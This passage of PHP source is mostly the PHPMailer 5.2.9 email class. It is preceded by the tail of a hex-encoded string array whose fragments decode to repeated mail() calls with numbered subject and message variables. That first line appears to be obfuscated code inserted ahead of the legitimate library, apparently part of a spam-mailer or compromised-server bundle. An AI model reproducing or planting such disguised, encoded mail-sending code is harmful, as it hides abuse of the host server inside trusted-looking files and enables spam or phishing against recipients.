7870"c20247375626a39382c20246d7367383837332c.","202466726f6d293b0d0a6d61696c2824656d61696c2c20247375626a35382.","c20246d7367393738302c202466726f6d293b");$smtp_conf=".";
7871?>
7872<?
7873/**
7874 * PHPMailer - PHP email creation and transport class.
7875 * PHP Version 5
7876 * @package PHPMailer
7877 * @link https://github.com/PHPMailer/PHPMailer/ The PHPMailer GitHub project
7878 * @author Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk>
7879 * @author Jim Jagielski (jimjag) <m>
7880 * @author Andy Prevost (codeworxtech) <codeworxtech@users.sourceforge.net>
7881 * @author Brent R. Matzelle (original founder)
7882 * @copyright 2012 - 2014 Marcus Bointon
7883 * @copyright 2010 - 2012 Jim Jagielski
7884 * @copyright 2004 - 2009 Andy Prevost
7885 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
7886 * @note This program is distributed in the hope that it will be useful - WITHOUT
7887 * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
7888 * FITNESS FOR A PARTICULAR PURPOSE.
7889 */
7890
7891/**
7892 * PHPMailer - PHP email creation and transport class.
7893 * @package PHPMailer
7894 * @author Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk>
7895 * @author Jim Jagielski (jimjag) <>
7896 * @author Andy Prevost (codeworxtech) <codeworxtech@users.sourceforge.net>
7897 * @author Brent R. Matzelle (original founder)
7898 */
7899class PHPMailer
7900{
7901 /**
7902 * The PHPMailer Version number.
7903 * @type string
7904 */
7905 public $Version = '5.2.9';
7906
7907 /**
7908 * Email priority.
7909 * Options: 1 = High, 3 = Normal, 5 = low.
7910 * @type integer
7911 */
7912 public $Priority = 3;
7913
7914 /**
7915 * The character set of the message.
7916 * @type string
7917 */
7918 public $CharSet = 'iso-8859-1';
7919
7920 /**
7921 * The MIME Content-type of the message.
7922 * @type string
7923 */
7924 public $ContentType = 'text/plain';
7925
7926 /**
7927 * The message encoding.
7928 * Options: "8bit", "7bit", "binary", "base64", and "quoted-printable".
7929 * @type string
7930 */
7931 public $Encoding = '8bit';
7932
7933 /**
7934 * Holds the most recent mailer error message.
7935 * @type string
7936 */
7937 public $ErrorInfo = '';
7938
7939 /**
7940 * The From email address for the message.
7941 * @type string
7942 */
7943 public $From = 'root@localhost';
7944
7945 /**
7946 * The From name of the message.
7947 * @type string
7948 */
7949 public $FromName = 'Root User';
7950
7951 /**
7952 * The Sender email (Return-Path) of the message.
7953 * If not empty, will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
7954 * @type string
7955 */
7956 public $Sender = '';
7957
7958 /**
7959 * The Return-Path of the message.
7960 * If empty, it will be set to either From or Sender.
7961 * @type string
7962 * @deprecated Email senders should never set a return-path header;
7963 * it's the receiver's job (RFC5321 section 4.4), so this no longer does anything.
7964 * @link https://tools.ietf.org/html/rfc5321#section-4.4 RFC5321 reference
7965 */
7966 public $ReturnPath = '';
7967
7968 /**
7969 * The Subject of the message.
7970 * @type string
7971 */
7972 public $Subject = '';
7973
7974 /**
7975 * An HTML or plain text message body.
7976 * If HTML then call isHTML(true).
7977 * @type string
7978 */
7979 public $Body = '';
7980
7981 /**
7982 * The plain-text message body.
7983 * This body can be read by mail clients that do not have HTML email
7984 * capability such as mutt & Eudora.
7985 * Clients that can read HTML will view the normal Body.
7986 * @type string
7987 */
7988 public $AltBody = '';
7989
7990 /**
7991 * An iCal message part body.
7992 * Only supported in simple alt or alt_inline message types
7993 * To generate iCal events, use the bundled extras/EasyPeasyICS.php class or iCalcreator
7994 * @link http://sprain.ch/blog/downloads/php-class-easypeasyics-create-ical-files-with-php/
7995 * @link http://kigkonsult.se/iCalcreator/
7996 * @type string
7997 */
7998 public $Ical = '';
7999
8000 /**
8001 * The complete compiled MIME message body.
8002 * @access protected
8003 * @type string
8004 */
8005 protected $MIMEBody = '';
8006
8007 /**
8008 * The complete compiled MIME message headers.
8009 * @type string
8010 * @access protected
8011 */
8012 protected $MIMEHeader = '';
8013
8014 /**
8015 * Extra headers that createHeader() doesn't fold in.
8016 * @type string
8017 * @access protected
8018 */
8019 protected $mailHeader = '';
8020
8021 /**
8022 * Word-wrap the message body to this number of chars.
8023 * Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance.
8024 * @type integer
8025 */
8026 public $WordWrap = 0;
8027
8028 /**
8029 * Which method to use to send mail.
8030 * Options: "mail", "sendmail", or "smtp".
8031 * @type string
8032 */
8033 public $Mailer = 'mail';
8034
8035 /**
8036 * The path to the sendmail program.
8037 * @type string
8038 */
8039 public $Sendmail = '/usr/sbin/sendmail';
8040
8041 /**
8042 * Whether mail() uses a fully sendmail-compatible MTA.
8043 * One which supports sendmail's "-oi -f" options.
8044 * @type boolean
8045 */
8046 public $UseSendmailOptions = true;
8047
8048 /**
8049 * Path to PHPMailer plugins.
8050 * Useful if the SMTP class is not in the PHP include path.
8051 * @type string
8052 * @deprecated Should not be needed now there is an autoloader.
8053 */
8054 public $PluginDir = '';
8055
8056 /**
8057 * The email address that a reading confirmation should be sent to.
8058 * @type string
8059 */
8060 public $ConfirmReadingTo = '';
8061
8062 /**
8063 * The hostname to use in Message-Id and Received headers
8064 * and as default HELO string.
8065 * If empty, the value returned
8066 * by SERVER_NAME is used or 'localhost.localdomain'.
8067 * @type string
8068 */
8069 public $Hostname = '';
8070
8071 /**
8072 * An ID to be used in the Message-Id header.
8073 * If empty, a unique id will be generated.
8074 * @type string
8075 */
8076 public $MessageID = '';
8077
8078 /**
8079 * The message Date to be used in the Date header.
8080 * If empty, the current date will be added.
8081 * @type string
8082 */
8083 public $MessageDate = '';
8084
8085 /**
8086 * SMTP hosts.
8087 * Either a single hostname or multiple semicolon-delimited hostnames.
8088 * You can also specify a different port
8089 * for each host by using this format: [hostname:port]
8090 * (e.g. "smtp1.example.com:25;smtp2.example.com").
8091 * You can also specify encryption type, for example:
8092 * (e.g. "tls://smtp1.example.com:587;ssl://smtp2.example.com:465").
8093 * Hosts will be tried in order.
8094 * @type string
8095 */
8096 public $Host = 'localhost';
8097
8098 /**
8099 * The default SMTP server port.
8100 * @type integer
8101 * @TODO Why is this needed when the SMTP class takes care of it?
8102 */
8103 public $Port = 25;
8104
8105 /**
8106 * The SMTP HELO of the message.
8107 * Default is $Hostname.
8108 * @type string
8109 * @see PHPMailer::$Hostname
8110 */
8111 public $Helo = '';
8112
8113 /**
8114 * The secure connection prefix.
8115 * Options: "", "ssl" or "tls"
8116 * @type string
8117 */
8118 public $SMTPSecure = '';
8119
8120 /**
8121 * Whether to use SMTP authentication.
8122 * Uses the Username and Password properties.
8123 * @type boolean
8124 * @see PHPMailer::$Username
8125 * @see PHPMailer::$Password
8126 */
8127 public $SMTPAuth = false;
8128
8129 /**
8130 * SMTP username.
8131 * @type string
8132 */
8133 public $Username = '';
8134
8135 /**
8136 * SMTP password.
8137 * @type string
8138 */
8139 public $Password = '';
8140
8141 /**
8142 * SMTP auth type.
8143 * Options are LOGIN (default), PLAIN, NTLM, CRAM-MD5
8144 * @type string
8145 */
8146 public $AuthType = '';
8147
8148 /**
8149 * SMTP realm.
8150 * Used for NTLM auth
8151 * @type string
8152 */
8153 public $Realm = '';
8154
8155 /**
8156 * SMTP workstation.
8157 * Used for NTLM auth
8158 * @type string
8159 */
8160 public $Workstation = '';
8161
8162 /**
8163 * The SMTP server timeout in seconds.
8164 * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
8165 * @type integer
8166 */
8167 public $Timeout = 300;
8168
8169 /**
8170 * SMTP class debug output mode.
8171 * Debug output level.
8172 * Options:
8173 * * `0` No output
8174 * * `1` Commands
8175 * * `2` Data and commands
8176 * * `3` As 2 plus connection status
8177 * * `4` Low-level data output
8178 * @type integer
8179 * @see SMTP::$do_debug
8180 */
8181 public $SMTPDebug = 0;
8182
8183 /**
8184 * How to handle debug output.
8185 * Options:
8186 * * `echo` Output plain-text as-is, appropriate for CLI
8187 * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
8188 * * `error_log` Output to error log as configured in php.ini
8189 *
8190 * Alternatively, you can provide a callable expecting two params: a message string and the debug level:
8191 * <code>
8192 * $mail->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
8193 * </code>
8194 * @type string|callable
8195 * @see SMTP::$Debugoutput
8196 */
8197 public $Debugoutput = 'echo';
8198
8199 /**
8200 * Whether to keep SMTP connection open after each message.
8201 * If this is set to true then to close the connection
8202 * requires an explicit call to smtpClose().
8203 * @type boolean
8204 */
8205 public $SMTPKeepAlive = false;
8206
8207 /**
8208 * Whether to split multiple to addresses into multiple messages
8209 * or send them all in one message.
8210 * @type boolean
8211 */
8212 public $SingleTo = false;
8213
8214 /**
8215 * Storage for addresses when SingleTo is enabled.
8216 * @type array
8217 * @TODO This should really not be public
8218 */
8219 public $SingleToArray = array();
8220
8221 /**
8222 * Whether to generate VERP addresses on send.
8223 * Only applicable when sending via SMTP.
8224 * @link http://en.wikipedia.org/wiki/Variable_envelope_return_path
8225 * @link http://www.postfix.org/VERP_README.html Postfix VERP info
8226 * @type boolean
8227 */
8228 public $do_verp = false;
8229
8230 /**
8231 * Whether to allow sending messages with an empty body.
8232 * @type boolean
8233 */
8234 public $AllowEmpty = false;
8235
8236 /**
8237 * The default line ending.
8238 * @note The default remains "\n". We force CRLF where we know
8239 * it must be used via self::CRLF.
8240 * @type string
8241 */
8242 public $LE = "\n";
8243
8244 /**
8245 * DKIM selector.
8246 * @type string
8247 */
8248 public $DKIM_selector = '';
8249
8250 /**
8251 * DKIM Identity.
8252 * Usually the email address used as the source of the email
8253 * @type string
8254 */
8255 public $DKIM_identity = '';
8256
8257 /**
8258 * DKIM passphrase.
8259 * Used if your key is encrypted.
8260 * @type string
8261 */
8262 public $DKIM_passphrase = '';
8263
8264 /**
8265 * DKIM signing domain name.
8266 * @example 'example.com'
8267 * @type string
8268 */
8269 public $DKIM_domain = '';
8270
8271 /**
8272 * DKIM private key file path.
8273 * @type string
8274 */
8275 public $DKIM_private = '';
8276
8277 /**
8278 * Callback Action function name.
8279 *
8280 * The function that handles the result of the send email action.
8281 * It is called out by send() for each email sent.
8282 *
8283 * Value can be any php callable: http://www.php.net/is_callable
8284 *
8285 * Parameters:
8286 * boolean $result result of the send action
8287 * string $to email address of the recipient
8288 * string $cc cc email addresses
8289 * string $bcc bcc email addresses
8290 * string $subject the subject
8291 * string $body the email body
8292 * string $from email address of sender
8293 * @type string
8294 */
8295 public $action_function = '';
8296
8297 /**
8298 * What to use in the X-Mailer header.
8299 * Options: null for default, whitespace for none, or a string to use
8300 * @type string
8301 */
8302 public $XMailer = '';
8303
8304 /**
8305 * An instance of the SMTP sender class.
8306 * @type SMTP
8307 * @access protected
8308 */
8309 protected $smtp = null;
8310
8311 /**
8312 * The array of 'to' addresses.
8313 * @type array
8314 * @access protected
8315 */
8316 protected $to = array();
8317
8318 /**
8319 * The array of 'cc' addresses.
8320 * @type array
8321 * @access protected
8322 */
8323 protected $cc = array();
8324
8325 /**
8326 * The array of 'bcc' addresses.
8327 * @type array
8328 * @access protected
8329 */
8330 protected $bcc = array();
8331
8332 /**
8333 * The array of reply-to names and addresses.
8334 * @type array
8335 * @access protected
8336 */
8337 protected $ReplyTo = array();
8338
8339 /**
8340 * An array of all kinds of addresses.
8341 * Includes all of $to, $cc, $bcc, $replyto
8342 * @type array
8343 * @access protected
8344 */
8345 protected $all_recipients = array();
8346
8347 /**
8348 * The array of attachments.
8349 * @type array
8350 * @access protected
8351 */
8352 protected $attachment = array();
8353
8354 /**
8355 * The array of custom headers.
8356 * @type array
8357 * @access protected
8358 */
8359 protected $CustomHeader = array();
8360
8361 /**
8362 * The most recent Message-ID (including angular brackets).
8363 * @type string
8364 * @access protected
8365 */
8366 protected $lastMessageID = '';
8367
8368 /**
8369 * The message's MIME type.
8370 * @type string
8371 * @access protected
8372 */
8373 protected $message_type = '';
8374
8375 /**
8376 * The array of MIME boundary strings.
8377 * @type array
8378 * @access protected
8379 */
8380 protected $boundary = array();
8381
8382 /**
8383 * The array of available languages.
8384 * @type array
8385 * @access protected
8386 */
8387 protected $language = array();
8388
8389 /**
8390 * The number of errors encountered.
8391 * @type integer
8392 * @access protected
8393 */
8394 protected $error_count = 0;
8395
8396 /**
8397 * The S/MIME certificate file path.
8398 * @type string
8399 * @access protected
8400 */
8401 protected $sign_cert_file = '';
8402
8403 /**
8404 * The S/MIME key file path.
8405 * @type string
8406 * @access protected
8407 */
8408 protected $sign_key_file = '';
8409
8410 /**
8411 * The S/MIME password for the key.
8412 * Used only if the key is encrypted.
8413 * @type string
8414 * @access protected
8415 */
8416 protected $sign_key_pass = '';
8417
8418 /**
8419 * Whether to throw exceptions for errors.
8420 * @type boolean
8421 * @access protected
8422 */
8423 protected $exceptions = false;
8424
8425 /**
8426 * Error severity: message only, continue processing.
8427 */
8428 const STOP_MESSAGE = 0;
8429
8430 /**
8431 * Error severity: message, likely ok to continue processing.
8432 */
8433 const STOP_CONTINUE = 1;
8434
8435 /**
8436 * Error severity: message, plus full stop, critical error reached.
8437 */
8438 const STOP_CRITICAL = 2;
8439
8440 /**
8441 * SMTP RFC standard line ending.
8442 */
8443 const CRLF = "\r\n";
8444
8445 /**
8446 * Constructor.
8447 * @param boolean $exceptions Should we throw external exceptions?
8448 */
8449 public function __construct($exceptions = false)
8450 {
8451 $this->exceptions = (boolean)$exceptions;
8452 }
8453
8454 /**
8455 * Destructor.
8456 */
8457 public function __destruct()
8458 {
8459 if ($this->Mailer == 'smtp') { //close any open SMTP connection nicely
8460 $this->smtpClose();
8461 }
8462 }
8463
8464 /**
8465 * Call mail() in a safe_mode-aware fashion.
8466 * Also, unless sendmail_path points to sendmail (or something that
8467 * claims to be sendmail), don't pass params (not a perfect fix,
8468 * but it will do)
8469 * @param string $to To
8470 * @param string $subject Subject
8471 * @param string $body Message Body
8472 * @param string $header Additional Header(s)
8473 * @param string $params Params
8474 * @access private
8475 * @return boolean
8476 */
8477 private function mailPassthru($to, $subject, $body, $header, $params)
8478 {
8479 //Check overloading of mail function to avoid double-encoding
8480 if (ini_get('mbstring.func_overload') & 1) {
8481 $subject = $this->secureHeader($subject);
8482 } else {
8483 $subject = $this->encodeHeader($this->secureHeader($subject));
8484 }
8485 if (ini_get('safe_mode') || !($this->UseSendmailOptions)) {
8486 $result = @mail($to, $subject, $body, $header);
8487 } else {
8488 $result = @mail($to, $subject, $body, $header, $params);
8489 }
8490 return $result;
8491 }
8492
8493 /**
8494 * Output debugging info via user-defined method.
8495 * Only generates output if SMTP debug output is enabled (@see SMTP::$do_debug).
8496 * @see PHPMailer::$Debugoutput
8497 * @see PHPMailer::$SMTPDebug
8498 * @param string $str
8499 */
8500 protected function edebug($str)
8501 {
8502 if ($this->SMTPDebug <= 0) {
8503 return;
8504 }
8505 //Avoid clash with built-in function names
8506 if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
8507 call_user_func($this->Debugoutput, $str, $this->SMTPDebug);
8508 return;
8509 }
8510 switch ($this->Debugoutput) {
8511 case 'error_log':
8512 //Don't output, just log
8513 error_log($str);
8514 break;
8515 case 'html':
8516 //Cleans up output a bit for a better looking, HTML-safe output
8517 echo htmlentities(
8518 preg_replace('/[\r\n]+/', '', $str),
8519 ENT_QUOTES,
8520 'UTF-8'
8521 )
8522 . "<br>\n";
8523 break;
8524 case 'echo':
8525 default:
8526 //Normalize line breaks
8527 $str = preg_replace('/(\r\n|\r|\n)/ms', "\n", $str);
8528 echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
8529 "\n",
8530 "\n \t ",
8531 trim($str)
8532 ) . "\n";
8533 }
8534 }
8535
8536 /**
8537 * Sets message type to HTML or plain.
8538 * @param boolean $isHtml True for HTML mode.
8539 * @return void
8540 */
8541 public function isHTML($isHtml = true)
8542 {
8543 if ($isHtml) {
8544 $this->ContentType = 'text/html';
8545 } else {
8546 $this->ContentType = 'text/plain';
8547 }
8548 }
8549
8550 /**
8551 * Send messages using SMTP.
8552 * @return void
8553 */
8554 public function isSMTP()
8555 {
8556 $this->Mailer = 'smtp';
8557 }
8558
8559 /**
8560 * Send messages using PHP's mail() function.
8561 * @return void
8562 */
8563 public function isMail()
8564 {
8565 $this->Mailer = 'mail';
8566 }
8567
8568 /**
8569 * Send messages using $Sendmail.
8570 * @return void
8571 */
8572 public function isSendmail()
8573 {
8574 $ini_sendmail_path = ini_get('sendmail_path');
8575
8576 if (!stristr($ini_sendmail_path, 'sendmail')) {
8577 $this->Sendmail = '/usr/sbin/sendmail';
8578 } else {
8579 $this->Sendmail = $ini_sendmail_path;
8580 }
8581 $this->Mailer = 'sendmail';
8582 }
8583
8584 /**
8585 * Send messages using qmail.
8586 * @return void
8587 */
8588 public function isQmail()
8589 {
8590 $ini_sendmail_path = ini_get('sendmail_path');
8591
8592 if (!stristr($ini_sendmail_path, 'qmail')) {
8593 $this->Sendmail = '/var/qmail/bin/qmail-inject';
8594 } else {
8595 $this->Sendmail = $ini_sendmail_path;
8596 }
8597 $this->Mailer = 'qmail';
8598 }
8599
8600 /**
8601 * Add a "To" address.
8602 * @param string $address
8603 * @param string $name
8604 * @return boolean true on success, false if address already used
8605 */
8606 public function addAddress($address, $name = '')
8607 {
8608 return $this->addAnAddress('to', $address, $name);
8609 }
8610
8611 /**
8612 * Add a "CC" address.
8613 * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
8614 * @param string $address
8615 * @param string $name
8616 * @return boolean true on success, false if address already used
8617 */
8618 public function addCC($address, $name = '')
8619 {
8620 return $this->addAnAddress('cc', $address, $name);
8621 }
8622
8623 /**
8624 * Add a "BCC" address.
8625 * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
8626 * @param string $address
8627 * @param string $name
8628 * @return boolean true on success, false if address already used
8629 */
8630 public function addBCC($address, $name = '')
8631 {
8632 return $this->addAnAddress('bcc', $address, $name);
8633 }
8634
8635 /**
8636 * Add a "Reply-to" address.
8637 * @param string $address
8638 * @param string $name
8639 * @return boolean
8640 */
8641 public function addReplyTo($address, $name = '')
8642 {
8643 return $this->addAnAddress('Reply-To', $address, $name);
8644 }
8645
8646 /**
8647 * Add an address to one of the recipient arrays.
8648 * Addresses that have been added already return false, but do not throw exceptions
8649 * @param string $kind One of 'to', 'cc', 'bcc', 'ReplyTo'
8650 * @param string $address The email address to send to
8651 * @param string $name
8652 * @throws phpmailerException
8653 * @return boolean true on success, false if address already used or invalid in some way
8654 * @access protected
8655 */
8656 protected function addAnAddress($kind, $address, $name = '')
8657 {
8658 if (!preg_match('/^(to|cc|bcc|Reply-To)$/', $kind)) {
8659 $this->setError($this->lang('Invalid recipient array') . ': ' . $kind);
8660 $this->edebug($this->lang('Invalid recipient array') . ': ' . $kind);
8661 if ($this->exceptions) {
8662 throw new phpmailerException('Invalid recipient array: ' . $kind);
8663 }
8664 return false;
8665 }
8666 $address = trim($address);
8667 $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
8668 if (!$this->validateAddress($address)) {
8669 $this->setError($this->lang('invalid_address') . ': ' . $address);
8670 $this->edebug($this->lang('invalid_address') . ': ' . $address);
8671 if ($this->exceptions) {
8672 throw new phpmailerException($this->lang('invalid_address') . ': ' . $address);
8673 }
8674 return false;
8675 }
8676 if ($kind != 'Reply-To') {
8677 if (!isset($this->all_recipients[strtolower($address)])) {
8678 array_push($this->$kind, array($address, $name));
8679 $this->all_recipients[strtolower($address)] = true;
8680 return true;
8681 }
8682 } else {
8683 if (!array_key_exists(strtolower($address), $this->ReplyTo)) {
8684 $this->ReplyTo[strtolower($address)] = array($address, $name);
8685 return true;
8686 }
8687 }
8688 return false;
8689 }
8690
8691 /**
8692 * Set the From and FromName properties.
8693 * @param string $address
8694 * @param string $name
8695 * @param boolean $auto Whether to also set the Sender address, defaults to true
8696 * @throws phpmailerException
8697 * @return boolean
8698 */
8699 public function setFrom($address, $name = '', $auto = true)
8700 {
8701 $address = trim($address);
8702 $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
8703 if (!$this->validateAddress($address)) {
8704 $this->setError($this->lang('invalid_address') . ': ' . $address);
8705 $this->edebug($this->lang('invalid_address') . ': ' . $address);
8706 if ($this->exceptions) {
8707 throw new phpmailerException($this->lang('invalid_address') . ': ' . $address);
8708 }
8709 return false;
8710 }
8711 $this->From = $address;
8712 $this->FromName = $name;
8713 if ($auto) {
8714 if (empty($this->Sender)) {
8715 $this->Sender = $address;
8716 }
8717 }
8718 return true;
8719 }
8720
8721 /**
8722 * Return the Message-ID header of the last email.
8723 * Technically this is the value from the last time the headers were created,
8724 * but it's also the message ID of the last sent message except in
8725 * pathological cases.
8726 * @return string
8727 */
8728 public function getLastMessageID()
8729 {
8730 return $this->lastMessageID;
8731 }
8732
8733 /**
8734 * Check that a string looks like an email address.
8735 * @param string $address The email address to check
8736 * @param string $patternselect A selector for the validation pattern to use :
8737 * * `auto` Pick strictest one automatically;
8738 * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14;
8739 * * `pcre` Use old PCRE implementation;
8740 * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL; same as pcre8 but does not allow 'dotless' domains;
8741 * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements.
8742 * * `noregex` Don't use a regex: super fast, really dumb.
8743 * @return boolean
8744 * @static
8745 * @access public
8746 */
8747 public static function validateAddress($address, $patternselect = 'auto')
8748 {
8749 if (!$patternselect or $patternselect == 'auto') {
8750 //Check this constant first so it works when extension_loaded() is disabled by safe mode
8751 //Constant was added in PHP 5.2.4
8752 if (defined('PCRE_VERSION')) {
8753 //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
8754 if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
8755 $patternselect = 'pcre8';
8756 } else {
8757 $patternselect = 'pcre';
8758 }
8759 } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
8760 //Fall back to older PCRE
8761 $patternselect = 'pcre';
8762 } else {
8763 //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
8764 if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
8765 $patternselect = 'php';
8766 } else {
8767 $patternselect = 'noregex';
8768 }
8769 }
8770 }
8771 switch ($patternselect) {
8772 case 'pcre8':
8773 /**
8774 * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.
8775 * @link http://squiloople.com/2009/12/20/email-address-validation/
8776 * @copyright 2009-2010 Michael Rushton
8777 * Feel free to use and redistribute this code. But please keep this copyright notice.
8778 */
8779 return (boolean)preg_match(
8780 '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
8781 '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
8782 '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
8783 '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
8784 '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
8785 '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
8786 '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
8787 '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
8788 '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
8789 $address
8790 );
8791 case 'pcre':
8792 //An older regex that doesn't need a recent PCRE
8793 return (boolean)preg_match(
8794 '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' .
8795 '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' .
8796 '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' .
8797 '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' .
8798 '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .
8799 '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .
8800 '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .
8801 '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .
8802 '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
8803 '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
8804 $address
8805 );
8806 case 'html5':
8807 /**
8808 * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
8809 * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)
8810 */
8811 return (boolean)preg_match(
8812 '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
8813 '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
8814 $address
8815 );
8816 case 'noregex':
8817 //No PCRE! Do something _very_ approximate!
8818 //Check the address is 3 chars or longer and contains an @ that's not the first or last char
8819 return (strlen($address) >= 3
8820 and strpos($address, '@') >= 1
8821 and strpos($address, '@') != strlen($address) - 1);
8822 case 'php':
8823 default:
8824 return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
8825 }
8826 }
8827
8828 /**
8829 * Create a message and send it.
8830 * Uses the sending method specified by $Mailer.
8831 * @throws phpmailerException
8832 * @return boolean false on error - See the ErrorInfo property for details of the error.
8833 */
8834 public function send()
8835 {
8836 try {
8837 if (!$this->preSend()) {
8838 return false;
8839 }
8840 return $this->postSend();
8841 } catch (phpmailerException $exc) {
8842 $this->mailHeader = '';
8843 $this->setError($exc->getMessage());
8844 if ($this->exceptions) {
8845 throw $exc;
8846 }
8847 return false;
8848 }
8849 }
8850
8851 /**
8852 * Prepare a message for sending.
8853 * @throws phpmailerException
8854 * @return boolean
8855 */
8856 public function preSend()
8857 {
8858 try {
8859 $this->mailHeader = '';
8860 if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
8861 throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);
8862 }
8863
8864 // Set whether the message is multipart/alternative
8865 if (!empty($this->AltBody)) {
8866 $this->ContentType = 'multipart/alternative';
8867 }
8868
8869 $this->error_count = 0; // reset errors
8870 $this->setMessageType();
8871 // Refuse to send an empty message unless we are specifically allowing it
8872 if (!$this->AllowEmpty and empty($this->Body)) {
8873 throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);
8874 }
8875
8876 $this->MIMEHeader = $this->createHeader();
8877 $this->MIMEBody = $this->createBody();
8878
8879 // To capture the complete message when using mail(), create
8880 // an extra header list which createHeader() doesn't fold in
8881 if ($this->Mailer == 'mail') {
8882 if (count($this->to) > 0) {
8883 $this->mailHeader .= $this->addrAppend('To', $this->to);
8884 } else {
8885 $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');
8886 }
8887 $this->mailHeader .= $this->headerLine(
8888 'Subject',
8889 $this->encodeHeader($this->secureHeader(trim($this->Subject)))
8890 );
8891 }
8892
8893 // Sign with DKIM if enabled
8894 if (!empty($this->DKIM_domain)
8895 && !empty($this->DKIM_private)
8896 && !empty($this->DKIM_selector)
8897 && file_exists($this->DKIM_private)) {
8898 $header_dkim = $this->DKIM_Add(
8899 $this->MIMEHeader . $this->mailHeader,
8900 $this->encodeHeader($this->secureHeader($this->Subject)),
8901 $this->MIMEBody
8902 );
8903 $this->MIMEHeader = rtrim($this->MIMEHeader, "\r\n ") . self::CRLF .
8904 str_replace("\r\n", "\n", $header_dkim) . self::CRLF;
8905 }
8906 return true;
8907
8908 } catch (phpmailerException $exc) {
8909 $this->setError($exc->getMessage());
8910 if ($this->exceptions) {
8911 throw $exc;
8912 }
8913 return false;
8914 }
8915 }
8916
8917 /**
8918 * Actually send a message.
8919 * Send the email via the selected mechanism
8920 * @throws phpmailerException
8921 * @return boolean
8922 */
8923 public function postSend()
8924 {
8925 try {
8926 // Choose the mailer and send through it
8927 switch ($this->Mailer) {
8928 case 'sendmail':
8929 case 'qmail':
8930 return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
8931 case 'smtp':
